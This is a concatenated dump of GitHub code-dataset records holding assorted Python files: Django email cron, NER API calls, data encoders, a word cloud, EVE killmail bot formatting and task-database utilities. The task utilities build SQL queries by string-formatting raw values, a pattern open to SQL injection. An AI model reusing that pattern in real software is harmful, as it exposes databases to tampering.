print(topKFrequent([\"a\",\"a\",\"a\",\"a\",\"a\",\"b\"],1))","repo_name":"samek571/leetcode-600","sub_path":"692. Top K Frequent Words.py","file_name":"692. Top K Frequent Words.py","file_ext":"py","file_size_in_byte":600,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"6957342369","text":"import kronos\nimport os\nfrom django.core.mail import EmailMultiAlternatives, get_connection\nfrom django.template.loader import get_template\nfrom django.template import Context\nfrom .models import ServiceUpdate\n\n@kronos.register('*/1 * * * *')\ndef send_service_updates_emails():\n print(\"RUNNING\")\n \n \n if os.environ.get('DJANGO_EMAIL_SUBJECT') and os.environ.get('DJANGO_EMAIL_FROM') and os.environ.get('DJANGO_EMAIL_TO'):\n subject = os.environ.get('DJANGO_EMAIL_SUBJECT')\n from_email = os.environ.get('DJANGO_EMAIL_FROM')\n to = os.environ.get('DJANGO_EMAIL_TO').split(',')\n else:\n subject = \"Test Email Subject\"\n from_email = 'notifications@accountmail.co'\n to = ['johnh@benetech.org',]\n\n service_updates = ServiceUpdate.objects.filter(is_emailed=False)\n\n print(service_updates)\n \n html_template = get_template('service/email/service_updates.html')\n text_template = get_template('service/email/service_updates.txt')\n context = {'service_updates': service_updates}\n\n text_content = text_template.render(context)\n html_content = html_template.render(context)\n\n \n if service_updates:\n connection = get_connection()\n connection.open()\n \n msg = EmailMultiAlternatives(subject, text_content, from_email, to, connection=connection)\n msg.attach_alternative(html_content, \"text/html\")\n msg.send()\n \n for service_update in service_updates:\n service_update.is_emailed = True\n service_update.save()\n","repo_name":"johnhbenetech/LegalServicesFlorida","sub_path":"service/cron.py","file_name":"cron.py","file_ext":"py","file_size_in_byte":1544,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"12600744406","text":"import requests\nimport json\nfrom joblib import Memory\nimport os\nfrom txt_werk_apikey import txt_werk\nfrom check_file import check_file\nimport logging\nimport sys\nlogging.basicConfig(level=logging.INFO,stream=sys.stdout)\n\ncachedir = \"./temp\"\nif not os.path.exists(cachedir) :\n os.mkdir(cachedir)\nmemory = Memory(cachedir=cachedir, verbose=0)\n\n@memory.cache\ndef txtwerk(item,ner_names,tool_counter):\n try:\n global output\n value = check_file(item,ner_names,tool_counter)\n if value == False:\n text = item[\"text\"]\n #except ImportError :\n #raise RuntimeError(\"Credentials must be supplied as dict in txt_werk_apikey.py. See example_txt_werk_apikey.py or use this as a template: txt_werk=dict(apikey='apikey')\")\n TXT_WERK_URL = \"https://api.neofonie.de/rest/txt/analyzer\"\n key = str(txt_werk['apikey'])\n headers={'X-Api-Key' : key}\n r = requests.post(TXT_WERK_URL, data={'text': text, 'services' : 'entities'}, headers=headers)\n txt_werk_response = r.json()\n if len(txt_werk_response[\"entities\"])>0 :\n output=txt_werk_response[\"entities\"]\n else:\n output= [{\"message\": \"no entities found\"}]\n logging.error(\"txtwerk didnt find any entities for the file %s\"%item[\"filename\"])\n elif value == True:\n output=[{\"error\": \"file double\"}]\n return output\n except KeyError:\n logging.error(\"txtwerk Call for file %s not successfull. Output: %s\"%(item[\"filename\"],r))\n\n ","repo_name":"martinvirtel/nex-collector","sub_path":"Call_NER/old/call_txtwerk_old3.py","file_name":"call_txtwerk_old3.py","file_ext":"py","file_size_in_byte":1570,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"69865929815","text":"from collections import deque\n\ndef is_valid(skill, tree):\n q = deque(list(skill))\n for c in tree:\n if c in skill:\n if q[0] == c:\n q.popleft()\n else:\n return False\n return True\n\ndef solution(skill, skill_trees):\n answer = 0\n for tree in skill_trees:\n if is_valid(skill, tree):\n answer += 1\n return answer\n","repo_name":"eun-byeol/algorithm","sub_path":"python/stack_queue/스킬트리.py","file_name":"스킬트리.py","file_ext":"py","file_size_in_byte":399,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"71260488534","text":"import argparse\nimport pickle\nimport numpy as np\nimport pandas as pd\nfrom scipy.stats import truncnorm\nfrom sklearn.neighbors import KNeighborsClassifier\nfrom sklearn.linear_model import LinearRegression\n\n\ndef fix_ages(df):\n \"\"\"fix the negative ages by making them the max 90\"\"\"\n age_mask = df.AGE < 0\n df.loc[age_mask, 'AGE'] = 90\n return df\n\n\ndef one_hot_encode(df):\n \"\"\"convert all categorical variables into one hot encodings\"\"\"\n # drop id/date cols\n category_cols = [c for c in df.columns if df[c].dtype.name == 'object']\n df = pd.get_dummies(df, columns=category_cols, prefix=category_cols)\n return df\n\n\ndef impute_column(df, c):\n \"\"\"impute the column c in dataframe df\"\"\"\n # get x and y\n y = df[c]\n x = df.drop(c, axis=1)\n\n # remove columns with in the values to impute\n x = x.loc[:, ~(x[y.isna()].isna().any())]\n\n # remove rows with na values in the training data\n na_mask = ~(x.isna().any(axis=1))\n y = y[na_mask]\n x = x[na_mask]\n\n # one hot encode the data\n x = one_hot_encode(x)\n\n # get mask for data to impute\n impute_mask = y.isna()\n # if y is continuous then use linear regression\n if y.dtype.name == 'float64':\n clf = LinearRegression()\n elif y.dtype.name == 'object':\n # Train KNN learner\n clf = KNeighborsClassifier(3, weights='distance')\n # le = LabelEncoder()\n # le.fit(df[col])\n else:\n raise ValueError\n trained_model = clf.fit(x[~impute_mask], y[~impute_mask])\n imputed_values = trained_model.predict(x[impute_mask])\n\n return imputed_values\n\n\ndef fix_na_values(df):\n \"\"\"run of imputing columns with missing values\"\"\"\n ignored = ['SUBJECT_ID', 'HADM_ID', 'ADMITTIME', 'DISCHTIME']\n df_core = df.drop(ignored, axis=1)\n\n while df_core.isna().sum().sum():\n # get column with least amount of missing values\n cols_with_na = df_core.isna().sum()\n col = cols_with_na[cols_with_na > 0].idxmin()\n # impute that column\n df_core.loc[df_core[col].isna(), col] = impute_column(df_core, col)\n\n return pd.concat([df_core, df[ignored]], axis=1)\n\n\ndef categorical(col):\n \"\"\"convert a categorical column to continuous\"\"\"\n # get categories\n categories = (col.value_counts() / len(col)).sort_values(ascending=False)\n # get distributions to pull from\n distributions = {}\n limits = {}\n a = 0\n # for each category\n for cat, val in categories.iteritems():\n # figure out the cutoff value\n b = a + val\n # create the distribution to sample from\n mu, sigma = (a + b) / 2, (b - a) / 6\n distributions[cat] = truncnorm((a - mu) / sigma,\n (b - mu) / sigma,\n mu, sigma)\n limits[b] = cat\n a = b\n\n # sample from the distributions and return that value\n return col.apply(lambda x: distributions[x].rvs()), limits\n\n\ndef numeric(col):\n \"\"\"normalize a numeric column\"\"\"\n return ((col - min(col)) / (max(col) - min(col))), min(col), max(col)\n\n\ndef undo_categorical(col, lim):\n \"\"\"convert a categorical column to continuous\"\"\"\n\n def cat_decode(x, limits):\n \"\"\"decoder for categorical data\"\"\"\n for k, v in limits.items():\n if x < k:\n return v\n\n return col.apply(lambda x: cat_decode(x, lim))\n\n\ndef undo_numeric(col, min_col, max_col):\n \"\"\"normalize a numeric column\"\"\"\n return ((max_col - min_col) * col) + min_col\n\n\ndef read_data(filename):\n \"\"\"read in the file\"\"\"\n data = None\n if filename.endswith('.csv'):\n data = pd.read_csv(filename)\n elif filename.endswith('.npy'):\n data = pd.DataFrame(np.load(filename))\n\n # check if file can be read\n if data is None:\n raise ValueError\n\n return data\n\n\ndef encode(df):\n \"\"\"encode the data into SDV format\"\"\"\n # loop through every column\n limits = {}\n min_max = {}\n for c in df.columns:\n # if object or int\n if df[c].dtype.char == 'O' or df[c].dtype.char == 'l':\n df[c], lim = categorical(df[c])\n limits[c] = lim\n # if decimal\n elif df[c].dtype.char == 'd':\n df[c], min_res, max_res = numeric(df[c])\n min_max[c] = (min_res, max_res)\n\n return df, limits, min_max\n\n\ndef decode(df_new, df_orig, limits, min_max):\n \"\"\"decode the data from SDV format\"\"\"\n df_new = pd.DataFrame(df_new, columns=df_orig.columns)\n for c in df_new.columns:\n if c in limits:\n df_new[c] = undo_categorical(df_new[c], limits[c])\n else:\n df_new[c] = undo_numeric(df_new[c], *min_max[c])\n\n return df_new\n\n\ndef save_files(df, limits, min_max, prefix):\n \"\"\"save the sdv file and decoders\"\"\"\n df.to_csv(f'{prefix}_sdv.csv', index=False)\n pickle.dump(limits, open(f'{prefix}.limits', 'wb'))\n pickle.dump(min_max, open(f'{prefix}.min_max', 'wb'))\n\n\ndef read_decoders(prefix, npy_file):\n \"\"\"read the decoder files\"\"\"\n limits = pickle.load(open(f'{prefix}.limits', 'rb'))\n min_max = pickle.load(open(f'{prefix}.min_max', 'rb'))\n if args.npy_file.endswith('.csv'):\n npy = pd.read_csv(npy_file)\n else:\n npy = np.load(npy_file)\n\n return limits, min_max, npy\n\n\ndef parse_arguments(parser):\n \"\"\"parser for arguments and options\"\"\"\n parser.add_argument('data_file', type=str, metavar='',\n help='The data to transform')\n subparsers = parser.add_subparsers(dest='op')\n subparsers.add_parser('encode')\n\n parser_decode = subparsers.add_parser('decode')\n parser_decode.add_argument('npy_file', type=str, metavar='',\n help='numpy file to decode')\n parser.add_argument('--fix_ages', dest='ages', action='store_const',\n const=True, default=False, help='fix negative ages')\n parser.add_argument('--impute', dest='impute', action='store_const',\n const=True, default=False,\n help='impute missing values')\n\n return parser.parse_args()\n\n\nif __name__ == '__main__':\n # read in arguments\n args = parse_arguments(argparse.ArgumentParser())\n # open and read the data file\n df_raw = read_data(args.data_file)\n\n if args.op == 'encode':\n if args.ages:\n # fix negative ages\n df_raw = fix_ages(df_raw)\n\n if args.impute:\n # fix the NA values\n df_raw = fix_na_values(df_raw)\n assert df_raw.isna().sum().sum() == 0\n\n df_converted, lims, mm = encode(df_raw)\n save_files(df_converted, lims, mm, args.data_file[:-4])\n elif args.op == 'decode':\n lims, mm, npy_new = read_decoders(args.data_file[:-4], args.npy_file)\n df_converted = decode(npy_new, df_raw, lims, mm)\n # save decoded\n df_converted.to_csv(args.npy_file[:-4] + '_normal.csv',\n index=False)\n","repo_name":"Didayolo/medi-chal","sub_path":"code/processing/sdv_converter.py","file_name":"sdv_converter.py","file_ext":"py","file_size_in_byte":6950,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"67"} +{"seq_id":"17943264638","text":"#-*- coding:utf-8 -*-\nimport jieba\n\nimport test\nimport re # 正则表达式库\nimport collections # 词频统计库\nimport numpy as np # numpy数据处理库\nimport jieba # 结巴分词\nimport wordcloud # 词云展示库\nfrom PIL import Image # 图像处理库\nimport matplotlib.pyplot as plt # 图像展示库\n\n\n#通过读取文本文件分析\ndef word_top(str):\n article = open('data/'+str+'.txt', 'r',encoding='utf-8').read()\n dele = {'。','!','?','的','“','”','(',')',' ','》','《',',','你们','自己','我们','他们'}\n words = list(jieba.cut(article))\n articleDict = {}\n articleSet = set(words)-dele\n for w in articleSet:\n if len(w)>1:\n articleDict[w] = words.count(w)\n\n articlelist = sorted(articleDict.items(),key = lambda x:x[1], reverse = True)\n return articlelist\n\n#通过读字符串\ndef word_top_string(str):\n dele = {'。','!','?','的','“','”','(',')',' ','》','《',',','你们','自己','我们','他们'}\n words = list(jieba.cut(str))\n articleDict = {}\n articleSet = set(words)-dele\n for w in articleSet:\n if len(w)>1:\n articleDict[w] = words.count(w)\n\n articlelist = sorted(articleDict.items(),key = lambda x:x[1], reverse = True)\n return articlelist\n\ndef analysis(name):\n # 读取文件\n fn = open('F:\\\\PyCharm\\\\newsProject\\\\file\\\\mytest.csv', 'rt', encoding='utf-8') # 打开文件\n string_data = fn.read() # 读出整个文件\n fn.close() # 关闭文件\n\n # 文本预处理\n pattern = re.compile(u'\\t|\\n|\\.|-|:|;|\\)|\\(|\\?| |\"') # 定义正则表达式匹配模式\n string_data = re.sub(pattern, '', string_data) # 将符合模式的字符去除\n\n # 文本分词\n seg_list_exact = jieba.cut(string_data, cut_all=False) # 精确模式分词\n object_list = []\n # remove_words = [u'》', u',', u':', u'。', u' ', u'、', u'“', u'\"', u'\"', u\":\", u'《', u'”'] # 自定义去除词库\n\n # 分词并去除停用词\n remove_words = set()\n fr = open('F:\\\\PyCharm\\\\newsProject\\\\stopword\\\\stopword.txt', encoding='UTF-8')\n for word in fr:\n remove_words.add(str(word).strip())\n fr.close()\n\n for word in seg_list_exact: # 循环读出每个分词\n if word not in remove_words: # 如果不在去除词库中\n object_list.append(word) # 分词追加到列表\n\n # 词频统计\n word_counts = collections.Counter(object_list) # 对分词做词频统计\n word_counts_top10 = word_counts.most_common(100) # 获取前10最高频的词\n print(word_counts_top10) # 输出检查\n\n # 词频展示\n mask = np.array(Image.open('')) # 定义词频背景\n wc = wordcloud.WordCloud(\n font_path='F:\\\\PyCharm\\\\newsProject\\\\file\\\\simhei.ttf', # 设置字体格式\n mask=mask, # 设置背景图\n max_words=200, # 最多显示词数\n max_font_size=100 # 字体最大值\n )\n\n wc.generate_from_frequencies(word_counts) # 从字典生成词云\n image_colors = wordcloud.ImageColorGenerator(mask) # 从背景图建立颜色方案\n wc.recolor(color_func=image_colors) # 将词云颜色设置为背景图方案\n plt.imshow(wc) # 显示词云\n plt.axis('off') # 关闭坐标轴\n plt.show() # 显示图像\n\n#通过读取数据库\ndef find_word_bySql(type):\n sql=\"\"\n if(type==\"all\"):\n sql=\"select * from result_data\"\n elif(type==\"a\"):\n sql=\"select * from result_ty\"\n elif(type==\"b\"):\n sql=\"select * from result_zhty\"\n elif(type==\"c\"):\n sql=\"select * from result_js\"\n elif(type==\"d\"):\n sql=\"select * from result_yl\"\n elif(type==\"e\"):\n sql=\"select * from result_tyjd\"\n elif(type==\"f\"):\n sql=\"select * from result_fc\"\n elif(type==\"g\"):\n sql=\"select * from result_jy\"\n elif(type==\"h\"):\n sql=\"select * from result_qc\"\n elif(type==\"i\"):\n sql=\"select * from result_game\"\n elif (type == \"j\"):\n sql = \"select * from result_kj\"\n elif(type==\"k\"):\n sql=\"select * from result_cj\"\n res=test.query_mysql(sql)\n return res\n\nif __name__ == '__main__':\n # data_all=test.find_type(\"财经\")\n # str=\"\"\n # flag=1\n # for i in data_all:\n # str=str+i[0]\n # print(flag)\n # flag=flag+1\n # fh = open('data/k.txt', 'w', encoding='utf-8')\n # fh.write(str)\n # fh.close()\n word_top(\"b\")\n pass","repo_name":"LINAN1345272421/new_wordcloud","sub_path":"until.py","file_name":"until.py","file_ext":"py","file_size_in_byte":4419,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"41959568642","text":"import os\nimport random\nimport sys\n\nfrom modules import scripts, script_callbacks, shared\n\nwarned_about_files = {}\nwildcard_dir = scripts.basedir()\n\n\nclass WildcardsScript(scripts.Script):\n def title(self):\n return \"Simple wildcards\"\n\n def show(self, is_img2img):\n return scripts.AlwaysVisible\n\n def replace_wildcard(self, text, gen):\n if \" \" in text or len(text) == 0:\n return text\n\n replacement_file = os.path.join(wildcard_dir, \"wildcards\", f\"{text}.txt\")\n if os.path.exists(replacement_file):\n with open(replacement_file, encoding=\"utf8\") as f:\n return gen.choice(f.read().splitlines())\n else:\n if replacement_file not in warned_about_files:\n print(f\"File {replacement_file} not found for the __{text}__ wildcard.\", file=sys.stderr)\n warned_about_files[replacement_file] = 1\n\n return text\n\n def process(self, p):\n original_prompt = p.all_prompts[0]\n\n for i in range(len(p.all_prompts)):\n gen = random.Random()\n gen.seed(p.all_seeds[0 if shared.opts.wildcards_same_seed else i])\n\n prompt = p.all_prompts[i]\n prompt = \"\".join(self.replace_wildcard(chunk, gen) for chunk in prompt.split(\"__\"))\n p.all_prompts[i] = prompt\n\n if original_prompt != p.all_prompts[0]:\n p.extra_generation_params[\"Wildcard prompt\"] = original_prompt\n\n\ndef on_ui_settings():\n shared.opts.add_option(\"wildcards_same_seed\", shared.OptionInfo(False, \"Use same seed for all images\", section=(\"wildcards\", \"Wildcards\")))\n\n\nscript_callbacks.on_ui_settings(on_ui_settings)\n","repo_name":"kinglauhk/stable-diffusion-webui-wildcards","sub_path":"scripts/wildcards.py","file_name":"wildcards.py","file_ext":"py","file_size_in_byte":1672,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"20301824360","text":"import pandas as pd\n\n\nrnaseq_df = pd.read_table('../data/tcga/EB++AdjustPANCAN_IlluminaHiSeq_RNASeqV2.geneExp.tsv', index_col=0)\nsample_labels_df = pd.read_table('../data/tcga/TCGA_phenotype_denseDataOnlyDownload.tsv', index_col=0)\n\n# appears twice in the dataset, drop both\nrnaseq_df.drop('SLC35E2', axis=0, inplace=True)\n\nrnaseq_df = rnaseq_df.T\n\nsample_labels_df.rename(columns={'_primary_disease': 'DISEASE'}, inplace=True)\nsample_labels_df = sample_labels_df['DISEASE']\n\nsample_barcodes = set(sample_labels_df.index)\nsample_barcodes = sample_barcodes.intersection(set(rnaseq_df.index))\n\nrnaseq_df = rnaseq_df.loc[sample_barcodes, :]\nrnaseq_df = rnaseq_df[~rnaseq_df.index.duplicated()]\n\nrnaseq_df = pd.merge(rnaseq_df, sample_labels_df, left_index=True, right_index=True)\nrnaseq_df = rnaseq_df.sort_values('DISEASE')\n\nrnaseq_df.to_csv('../data/tcga/rnaseq_data_with_labels.csv')","repo_name":"le-big-mac/Semi-Supervised_Models","sub_path":"utils/preprocess_tcga.py","file_name":"preprocess_tcga.py","file_ext":"py","file_size_in_byte":883,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"67"} +{"seq_id":"27538252539","text":"from flask_wtf import FlaskForm\nfrom wtforms import StringField, TextAreaField\nfrom wtforms.validators import DataRequired, Length\n\n\nclass ServiceForm(FlaskForm):\n name = StringField(\n label=\"Service name\",\n name=\"service-name\",\n validators=[\n DataRequired(),\n Length(min=3),\n ],\n )\n\n","repo_name":"KateTagizade/Python-Basic-Homeworks","sub_path":"homework_06/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":340,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"17474690994","text":"import botsecrets\n\n# ИД Хамбарта\nHAMBART_ID = botsecrets.HAMBART_ID\n\n# Ссылка (шаблон) на страницу с убийством\nKILLBOARD_KILL_URL = botsecrets.KILLBOARD_KILL_URL\n\ndef __map_attackers_to_attackers_ids(attacker):\n '''\n Мапа для перевода аттакеров в их ИД-шники\n '''\n try:\n return attacker['character_id']\n except Exception as e:\n # Так как бывают случаи, когда приходят данные без 'character_id'\n return 0\n\ndef __attackers_ids(json_dict):\n '''\n Получение ИД-шники аттакеров\n '''\n return list(map(__map_attackers_to_attackers_ids, json_dict['attackers']))\n\ndef __victim_id(json_dict):\n '''\n Получение ИД жертвы\n '''\n try:\n return json_dict['victim']['character_id']\n except Exception as e:\n # Возможны случаи, когда тут придут данные без 'character_id'\n return -1\n \ndef __ship_type_id(json_dict):\n try:\n return json_dict['victim']['ship_type_id']\n except Exception as e:\n return None\n\ndef __hambart_role(attackers_ids, victim_id):\n '''\n Получение роли Хамбарта в замесе\n\n Если Хамбарт убил кого-то ... то 'attacker'\n Если Хамбарт был жертвой .... то 'victim'\n Если что-то другое .......... то None\n '''\n DEBUG_HAMBART_ID = 0\n if HAMBART_ID == DEBUG_HAMBART_ID:\n return 'attacker'\n \n if HAMBART_ID in attackers_ids:\n return 'attacker'\n \n if HAMBART_ID == victim_id:\n return 'victim'\n \n return None\n\ndef __killmail_link(json_dict):\n '''\n Получение ссылки на убийство на сайте zkillboard\n '''\n try:\n killmail_id = json_dict['killmail_id']\n return f\"{KILLBOARD_KILL_URL}/{killmail_id}/\"\n except Exception as e:\n # На случай, если в слова��е не будет 'killmail_id'\n return \"Битая ссылка :С\"\n\ndef __pretty_status(hambart_role):\n '''\n Форматированный статус\n '''\n if hambart_role == 'victim':\n return \"💀💀 Hambart был убит 💀💀\"\n elif hambart_role == 'attacker':\n return \"🎉🎉 Hambart победил 🎉🎉\"\n \ndef __pretty_details(attackers_count):\n '''\n Форматированные детали\n '''\n return f\"1 vs {attackers_count}\"\n \ndef __pretty_link(json_dict):\n '''\n Форматированная ссылка\n '''\n link = __killmail_link(json_dict=json_dict)\n return f\"Ссылка : {link}\"\n\ndef response(json_dict):\n '''\n Получение форматированного ответа по JSON\n '''\n attackers_ids = __attackers_ids(json_dict=json_dict)\n if not attackers_ids:\n return None\n\n victim_id = __victim_id(json_dict=json_dict)\n if victim_id is None:\n return None\n \n CAPSULE_SHIP_TYPE = 670\n NONE_SHIP_TYPE = None\n ship_type_id = __ship_type_id(json_dict=json_dict)\n is_ship_type_incorrect = \\\n ship_type_id == CAPSULE_SHIP_TYPE or \\\n ship_type_id == NONE_SHIP_TYPE\n if is_ship_type_incorrect:\n return None\n\n hambart_role = __hambart_role(attackers_ids=attackers_ids,\n victim_id=victim_id)\n if hambart_role is None:\n return None\n \n attackers_count = len(attackers_ids)\n\n status = __pretty_status(hambart_role=hambart_role)\n details = __pretty_details(attackers_count=attackers_count)\n link = __pretty_link(json_dict=json_dict)\n\n killmail_response = f\"{status}\\n{details}\\n\\n{link}\"\n\n return killmail_response\n","repo_name":"andybeardness/Hambart-EVE-Bot","sub_path":"messagebuilder.py","file_name":"messagebuilder.py","file_ext":"py","file_size_in_byte":3838,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"16310867870","text":"#!/usr/bin/env python3\n\"\"\"Fonctions permettant l'écriture sur la sortie standart de liste de points/segments en svg. NE PAS OUBLIER LES BALISES\"\"\"\n\nfrom geo.segment import Segment\nfrom geo.point import Point\nfrom math import floor\n\ndef print_segment(liste):\n \"\"\"fonction capable d'imprimer les lignes svg pour les segments d'une liste 'liste'\n sur la sortie standart\n , à utiliser intelligement au vu de la postition des balises svg\"\"\"\n for segment in liste:\n print(''.\n format(floor(1000*segment.endpoints[0].coordinates[0]),floor (1000*segment.endpoints[0].coordinates[1]),\n floor(1000*segment.endpoints[1].coordinates[0]), floor(1000*segment.endpoints[1].coordinates[1])))\n\n\ndef print_points(liste):\n \"\"\"fonction capable d'imprimer des cerles (en svg)\n correspondant aux points de la liste en argument\"\"\"\n for point in liste:\n print(''.\n format(floor(1000*point.coordinates[0]),floor(1000*point.coordinates[1]), 1))\n\n\n\ndef print_balise(arg = 'ouverture',size=(1000,1000)):\n if arg == \"ouverture\":\n print(''.format(size[0],size[1]))\n elif arg == 'fermeture':\n print(\"\")\n\n\n\ndef print_quadrant(root):\n \"\"\"marche uniquement en 2D\"\"\"\n xmin,ymin = root.min_coordinates\n xmax,ymax = root.max_coordinates\n p1 = Point([xmin,ymin])\n p2 = Point([xmin,ymax])\n p3 = Point([xmax,ymax])\n p4 = Point([xmax,ymin])\n s1 = Segment([p1,p2])\n s2 = Segment([p2,p3])\n s3 = Segment([p3,p4])\n s4 = Segment([p4,p1])\n print_segment([s1,s2,s3,s4])\n if root.childs:\n for child in root.childs:\n print_quadrant(child)\n\n","repo_name":"michaelb/point-clustering","sub_path":"afficheur.py","file_name":"afficheur.py","file_ext":"py","file_size_in_byte":1825,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"14327229525","text":"from django.urls import path\nfrom .views import AdsList, AdDetailView, AdCreateView, AddComment, AdCreate, Add\n\nurlpatterns = [\n # path('', IndexView.as_view()),\n path('', AdsList.as_view(), name='ads_list'),\n path('/', AdDetailView.as_view(), name='ad_detail'), # Ссылка на детали поста\n path('add/', Add, name='add'), # Пример. Ссылка на создание поста\n path('create/', AdCreate, name='ad_create'), # Пример. Ссылка на создание поста\n # path('create/', AdCreateView.as_view(), name='ad_create'), # Ссылка на создание поста\n path('review//', AddComment.as_view(), name='add_comment'), # Ссылка на создание комментария\n]\n","repo_name":"erzhik68/D13.7_1","sub_path":"adverboard/board/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":784,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"776047932","text":"import sys\n#from helpers.data_conf import make_data_conf\n\nimport orderbooks\n#from helpers.get_exchange_and_sim import get_exchange_and_sim\n\ndef analysis_kwargs(data_conf: dict) -> dict:\n return {\"compression\": data_conf[\"compression\"], \"skip_footer\": data_conf[\"droplast\"]}\n\ndef make_midprice(input_path, freq, output_path):\n try:\n order_book = orderbooks.order_book_data(input_path, skip_footer=False, time_zone=\"America/New_York\",\n open_time=\"9:30:00\", trading_day_length=\"6:30:00\")\n except:\n print(\"{} not read\".format(input_path))\n try:\n\n order_book.get_resampled_midprice(freq).to_csv(output_path,\n compression = \"gzip\",\n index = False)\n except:\n print(\"Resampled mid-price data {} not written\".format(output_path))\n\nif __name__ == \"__main__\":\n input_path, freq, output_path = sys.argv[1:] # data_path: \"testing/test_data\" compression : none or \"gzip\"\n if input_path.split(\".\")[-1] == \"gz\":\n compression = \"gzip\"\n else:\n compression = None\n\n make_midprice(input_path, freq, output_path)\n\n\n","repo_name":"mesalas/SimAnalysis","sub_path":"scripts/make_midprices.py","file_name":"make_midprices.py","file_ext":"py","file_size_in_byte":1228,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"26654549955","text":"from api import *\n\n\n# 通过tid查找是否存在对应任务\ndef select_task_by_tid(tid):\n sql = \"SELECT * FROM task WHERE tid ='%s'\" % (tid)\n rows = tools.selectOpt(sql)\n if rows:\n return True\n else:\n return False\n\n\n# 通过tid查找对应创建者sid\ndef get_sid_by_tid(tid):\n sql = \"SELECT * FROM task WHERE tid ='%s'\" % (tid)\n rows = tools.selectOpt(sql)\n if rows:\n rows_ = rows[0]\n return rows_['sid']\n else:\n return None\n\n\n# 查找tid对应未审核的任务数目\ndef get_no_verify_num_by_tid(tid):\n sql = \"SELECT count(*) FROM task_order WHERE tid ='%s' AND verify = 0\" % (tid)\n rows = tools.selectOpt(sql)\n current_app.logger.info(rows[0])\n return rows[0]['count(*)']\n\n\n# 查找tid对应已审核的任务数目\ndef get_verify_num_by_tid(tid):\n # current_app.logger.info('select_user_by_sid')\n sql = \"SELECT count(*) FROM task_order WHERE tid ='%s' AND verify = 1\" % (tid)\n rows = tools.selectOpt(sql)\n current_app.logger.info(rows[0])\n return rows[0]['count(*)']\n\n\n# 查找tid对应的quantity\ndef get_quantity_by_tid(tid):\n sql = \"SELECT * FROM task WHERE tid ='%s'\" % (tid)\n rows = tools.selectOpt(sql)\n if rows:\n rows_ = rows[0]\n return rows_['quantity']\n else:\n return 0\n\n\n# 查找tid对应的reward\ndef get_reward_by_tid(tid):\n sql = \"SELECT * FROM task WHERE tid ='%s'\" % (tid)\n rows = tools.selectOpt(sql)\n if rows:\n rows_ = rows[0]\n return rows_['reward']\n else:\n return 0.0\n\n\n# 根据tid和sid判断任务审核状态\ndef get_verify_state_by_id(tid, sid):\n sql = \"SELECT * FROM task_order WHERE tid = %d AND sid = '%s'\" % (tid, sid)\n rows = tools.selectOpt(sql)\n if rows:\n return rows[0]['verify']\n else:\n return 0\n\n\n# 根据tid计算接单人数\ndef compute_accept_num(tid):\n sql = \"SELECT count(*) FROM task_order WHERE tid = %d\" % (tid)\n rows = tools.selectOpt(sql)\n return rows[0]['count(*)']\n\n\n# 根据tid和sid判断任务是否在接单表\ndef get_task_by_id(tid, sid):\n sql = \"SELECT * FROM task_order WHERE tid = %d AND sid = '%s'\" % (tid, sid)\n rows = tools.selectOpt(sql)\n if rows:\n return True\n else:\n return False\n\n\n# task 对应的quantity+1\ndef increase_quantity_by_tid(tid):\n sql = \"\"\"UPDATE task SET quantity = quantity+1 WHERE tid = %d;\"\"\" % (\n tid)\n tools.modifyOpt(sql)\n\n\n# 更新task表对应任务status为已完成\ndef update_task_status(tid):\n sql = \"\"\"UPDATE task SET status = 1 WHERE tid = %d;\"\"\" % (tid)\n tools.modifyOpt(sql)\n\n\ndef get_cid_by(tid, sid1, sid2):\n sql = \"SELECT * FROM comp_order WHERE tid = %d AND sid1 = '%s'AND sid2 = '%s'\" % (tid, sid1, sid2)\n rows = tools.selectOpt(sql)\n if rows:\n return rows[0]['cid']\n else:\n return 0\n\n\ndef select_comp_order_by_cid(cid):\n sql = \"SELECT * FROM comp_order WHERE cid = %d \" % (cid)\n rows = tools.selectOpt(sql)\n if rows:\n return True\n else:\n return False\n\n\ndef select_tid_sid_by_cid(cid):\n sql = \"SELECT tid, sid1,sid2 FROM comp_order WHERE cid = %d \" % (cid)\n rows = tools.selectOpt(sql)\n if rows:\n rows_ = rows[0]\n return rows_['tid'], rows_['sid1'], rows_['sid2']\n else:\n return \"\", \"\", \"\"\n\n\ndef get_verify_state_by_cid(cid):\n sql = \"SELECT verify FROM comp_order WHERE cid = %d \" % (cid)\n rows = tools.selectOpt(sql)\n if rows:\n rows_ = rows[0]\n return rows_['verify']\n else:\n return 0","repo_name":"sysu-change/backend","sub_path":"api/task/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":3537,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"44308256059","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Fri Jul 7 12:57:51 2023\r\n\r\n@author: ludoa\r\n\"\"\"\r\n\r\n\r\n\"\"\"\r\ndebug and test !\r\n\r\n\"\"\"\r\nimport nibabel as nib\r\nimport numpy as np\r\nimport os\r\nfrom nilearn.maskers import NiftiMasker\r\nimport time\r\n\r\n# Start the timer\r\nstart_time = time.time()\r\n\r\n\r\n\r\ndef zscore_maps(files_gr1, files_gr2, mask):\r\n \r\n masker = NiftiMasker(mask)\r\n \r\n gr1_2D= masker.fit_transform(files_gr1)\r\n gr2_2D= masker.fit_transform(files_gr2)\r\n \r\n 